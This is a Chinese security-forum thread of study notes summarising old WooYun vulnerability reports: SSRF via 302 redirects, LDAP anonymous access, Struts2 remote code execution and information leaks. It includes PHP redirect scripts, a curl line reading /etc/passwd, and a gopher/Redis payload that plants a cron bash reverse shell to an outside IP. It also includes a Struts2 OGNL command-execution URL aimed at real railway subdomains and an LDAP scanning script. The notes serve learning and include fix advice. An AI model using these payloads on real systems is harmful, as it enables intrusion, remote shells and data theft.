![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
大佬的一顿操作了。
在这边看见利用302绕过HTTP协议限制,那么302是什么呢?度娘来了!
>301,302 都是HTTP状态的编码,都代表着某个URL发生了转移。
不同之处在于:
>  301 redirect: 301 代表永久性转移(Permanently Moved)。
>  302 redirect: 302 代表暂时性转移(Temporarily Moved )。

其实301、302的重定向都是通过对http协议的location的修改来实现的,那具体的怎么去修改location来实现重定向呢?
请先移步http301、302原理详解及实现 啦!(鄙者觉得者这篇文章对于http中301、302状态码描述的很简单明了哦!)

接下来,大佬构造了如下重定向脚本exp.php和获取参数的py脚本。

  1. //exp.php
  2. <?php
  3. $ip = $_GET['ip'];
  4. $port = $_GET['port'];
  5. $scheme = $_GET['s'];
  6. $data = $_GET['data'];
  7. header("Location: $scheme://$ip:$port/$data");
  8. ?>
复制代码
  1. #SSRF.py脚本
复制代码


额,,说实在的,小生不才,对于这个代码目前了解的不是很深入,只能浅显的理解为 ssrf.py 是用来寻找满足 跳转脚本 exp.php 中的参数,便于 exp.php实现跳转。
####  漏洞测试
参考链接:
SSRF的bypass技巧:https://zhuanlan.zhihu.com/p/73736127?from_voters_page=true
以下是来自 zhi乎 一位大牛对于 302 redict 技巧的漏洞测试。
首先构造的 302跳转服务代码如下: 302.php

  1. <?php  

  2. $schema = $_GET['s'];
  3. $ip     = $_GET['i'];
  4. $port   = $_GET['p'];
  5. $query  = $_GET['q'];
  6. if(empty($port)){
  7.     header("Location: $schema://$ip/$query");
  8. } else {
  9.     header("Location: $schema://$ip:$port/$query");
  10. }
复制代码

利用测试:

  1. # dict protocol - 探测Redis
  2. dict://127.0.0.1:6379/info
  3. curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
  4. # file protocol - 任意文件读取
  5. curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
  6. # gopher protocol - 一键反弹Bash
  7. # * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
  8. curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0

  9. a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  

  10. %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3

  11. %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
复制代码


###  5、网络未授权访问--ldap匿名访问url
>缺陷编号:wooyun-2016-0229413
>漏洞标题:zhong国金融认证中心某系统未授权访问(涉及内网信息)

##### 漏洞说明:
![在这里插入图片描述]()
ldap匿名访问url,这个还是第一次听,那她到底是什么呢?我们一起来看吧。参考链接
>ldap:轻型目录访问协议,通过ip协议提供访问控制和维护分布式信息的目录信息。
>>目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
>>  目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
>>> LDAP目录服务是由目录数据库和一套访问协议组成的系统。

ldap默认是允许用户匿名访问的,即不需要输入userID和密码,就可以连接到 ldap 服务器,但是只能进行 read 及search操作,不能做任何的修改。

#####  漏洞测试
(1)、工具测试:
测试工具 ldapadmin 下载链接:http://www.ldapadmin.org/download/ldapadmin.html
工具使用参考:https://www.cnblogs.com/ahacker15/p/12030892.html

(2)、py脚本测试:
[脚本来源](https://blog.csdn.net/weixin_33721344/article/details/93716014)

```python
#!/usr/bin/env python
# encoding: utf-8
# http://ldap3.readthedocs.io/tuto ... sing-an-ldap-server
import ldap3
from fileutils import FileUtils
import os
from ldap3 import Connection

def verify(host):
        try:
            print host
            server = ldap3.Server(host, get_info=ldap3.ALL, connect_timeout=30)
            conn = ldap3.Connection(server, auto_bind=True)
            #print server
            if len(server.info.naming_contexts) > 0:
                for _ in server.info.naming_contexts:
                    if conn.search(_, '(objectClass=inetOrgPerson)'):
                        naming_contexts = _.encode('utf8')
                        #print naming_contexts
                        print host + ': ' + naming_contexts

        except Exception, e:
            pass
            #print e

if __name__ == '__main__':
    for host in FileUtils.getLines('ldap.lst'):
        verify(host)
```


######  修复方案:
ldap禁止匿名访问:
可参考链接:https://www.cnblogs.com/rusking/p/4936341.html

由于今天的事情比较多,因此,今天就先写到这里了。

回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-29 22:29:11 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-2-29 22:46 编辑

wooyun总结02
后面是是今天看的文章的一个大致目录。我分的层次比较乱,首先解释一下吧!
数字开头的标题代表的是这个漏洞的类型,“ -- ”+文字,这个是我自定义的,因为有些类别重复了,因此在后面加上这个便于和其他的区分。
然后在开头我会添加一个 “引用”,这个里面是漏洞的乌云编号和标题;
之后,对于一下啊大佬讲的比较详细的漏洞我会命名“漏洞案例简述”标题大概阐述一下,然后对于一些自己不太理解的关键词及技术进行百度,把度娘中我感觉比较好的链接会复制过来,然后对链接内容简要说明一些,欢迎感兴趣的同学深究哦!
随后,对于一些可以复现的漏洞我会命名“漏洞复现” 来简单说一下漏洞地复现,有些浮现过程比较麻烦的,我会把我觉得比较详细的链接附上,欢饮移步前往链接处。
最后对于一些比较有感触的漏洞,我做一个自己的小总结。

(ps:这篇文章本来是打算在博客上发表的,所以有些名词进行了适当的改变,但是后来鉴于某些网站可能还是存在漏洞,所以就没有发布,但是之前的改变的名词也没有改过来,所以可能看起来不是很习惯哦!还请读者做好思想准备啦,哈哈哈哈。)
文章目录
1、后台弱口令
2、命令执行1--structs框架
漏洞案例简述:
漏洞简述
漏洞复现
3、系统/服务运维配置不当
漏洞案例简述![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
4、未授权访问/权限绕过--SSRF
漏洞案例简述
5、设计缺陷/逻辑错误
漏洞案例简述
6、敏感信息泄露
漏洞案例简述
7、重要敏感信息泄露


### 1、后台弱口令
>缺陷编号:wooyun-2016-0229137
漏洞标题:云南农村信用社智慧农信微信管理平台弱口令(疑似开发中系统)

相对来说,这篇文章讲的很简单,没有说太多的过程,只是列出了如下账号和口令。(额,未免来简单了吧。)
![在这里插入图片描述]()

###  2、命令执行1--structs框架
>缺陷编号:wooyun-2016-0229061
漏洞标题:123o6某站命令执行(子站存在通用型)

#### 漏洞案例详细说明:
url位置:(文件为: .action后缀,大致认为:使用了struts2.0框架开发的网页,是一个请求路径。关于这个我并不是很了解,但是看见struts2就可以开始浮想联翩了,哈哈)
```css
http://www.jin.12306.cn/Dzsw/Shky/hwky.wai/trackorder.action
```

>**测试代码**
http://www.jin.12306.cn/Dzsw/Shky/hwky.wai/trackorder.action?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami

>**管理补充案例:**
http://www.zhengzh.12306.cn/Dzsw/Shky/hwky.wai/trackorder.action?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23paramete

####  漏洞简述
首先简单介绍一下Structs2 ,它是一个基于MVC设计模式的web应用框架,它本质上相当于一个servlet,(servlet是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。) 在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
搜索这个框架是可以发现网上关于这个框架的漏洞N多,再次分享一篇文章关于Structs2漏洞的一个大总结吧!
[Structs著名RCE漏洞引发的十年之思](https://www.freebuf.com/vuls/168609.html)

####  漏洞复现
Structs S2-057伸缩环境搭建及伸缩分析:https://www.freebuf.com/column/208925.html

在寻找漏洞环境搭建时找到了一个网站,上面收集了 Structs等的漏洞环境及搭建步骤。欢迎移步:http://vulapps.evalbug.com/

线上漏洞靶场:【Struts-057远程代码执行漏洞CVE-2018-11776】(这个靶场中的vim有点问题,其他的挺好的。在靶场中首先分析了一下strutsl漏洞的产生及过程分析,然后实验环境中的内容主要有三部分,分别为:tomcat环境的搭建、配置Struts2环境、验证漏洞)
https://www.ichunqiu.com/experiment/detail?id=63928&source=1

### 3、系统/服务运维配置不当
>缺陷编号:wooyun-2016-0229040
漏洞标题:mo托罗拉某系统存在命令执行漏洞

#### 漏洞案例简述![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
总结:这个和上一个例子差不多,都是由于Struct2 的远程代码执行漏洞。不过上一篇文章用的是手工测试,这一篇文章用的是工具扫描。

### 4、未授权访问/权限绕过--SSRF
>缺陷编号:wooyun-2016-0228780
漏洞标题:ren人网几处站点存在SSRF漏洞

####  漏洞案例简述
![在这里插入图片描述]()


首先SSRF是什么呢?
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务器发起请求的一个安全漏洞。一般情况下,SSRF是目标网站的内部系统(因为目标网站的服务器可以访问 内部系统,因此可以通过目标网站当作中间人,攻击外网无法访问的内部系统。)
具体内容参见:SSRF:(此文讲述了ssrf的产生、用途以及环境的搭建)
https://www.jianshu.com/p/d1d1c40f6d4c
bee-box的下载链接:https://sourceforge.net/projects ... ox_v1.6.7z/download

###  5、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0228542
漏洞标题: lian乐无线某站可以注册任意账号

####  漏洞案例简述
![在这里插入图片描述]()


这个是厂家的回复
![在这里插入图片描述]()
出于好奇(仅仅是好奇)我去浏览了一下这个网站,如下:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


第一个验证码是四位的,并且还是不变的(我很好奇,它的意义是什么),,,短信验证码(这个我没找到合适的手机,可能厂商说的 6位验证码 修复说的就是这个吧。),手机号(我目前测试的是它对于某些特殊数字的手机号他显示的是手机号已存在,但其其实屏蔽了那些手机号,然而对于其他段位的手机号可以没有任何抵抗力哦!)。

###  6、敏感信息泄露
>缺陷编号:wooyun-2016-0228007
漏洞标题:ao鹏教育某处未授权访问可影响大量学生信息

####  漏洞案例简述
![在这里插入图片描述]()
接下来,在大佬查看图片时,发现图片目录泄露,然后接下来在目录中查找到一些比较敏感的个人信息。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
顺着思路,我也去这个网站上溜达了一圈,相比于上个网站,这个网站注册时需要的东西就比较敏感了,需要身份证哦!
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
注册登陆进去看了一下,发现里面已经是另外一片天了,大佬之前的漏洞已经不存在了,在此为网站人员点个赞。b( ̄▽ ̄)d(不过包含这么重要的信息,注册的手机号码还是过滤一下比较好吧!)

**总结:** 同学注册一些比较重要的平台,需要身份证验证的这种,比如 mooc;最好还是用自己的手机号码注册吧,网上的  yun短信看起来可以避免信息泄露,可是当你用 yun短信中的手机注册这么重要的平台时,从某种意义来说你已经信息泄露了。

###  7、重要敏感信息泄露
>缺陷编号:wooyun-2016-0228348
漏洞标题:51.com某重要站点备份文件泄露

这个漏洞的修复建议是删除,搜索了一下这个网址,网址早已不复存在了,只剩下新的界面在熠熠生辉。注册登陆了一下,发现这个也需要绑定身份证。。。
额,我感觉绑定身份证还在网上随便找手机号注册的人无非两种,一是聪明反被聪明误;二是这个 shen份证 已经被泄露了。(唉,可怜的娃啊!)

总结:今天看这些文章的时候,感触挺多的,看着看着发现里面的利益太多了。比如我今天看到的短短的几篇文章,有些漏洞其实是很危险的,但是由于程序员的不在乎,就有了“厂商回应:漏洞无影响厂商忽略”,对的,厂商忽略了,但是一些看见  “shang机” 的人并没有忽略啊,他们会顺着这些线继续向下深挖,有些漏洞存在的 shang机是别人难以发现的。并且还有一些漏洞虽然显示的是已经修复,但是 look上去能感觉到漏洞还是存在的。最后,无论多么安全的系统,最不安全的还是人吧,因为他们出现问题的可能性实在是多的令人难以想象了。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-26 18:11 , Processed in 0.026809 second(s), 22 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表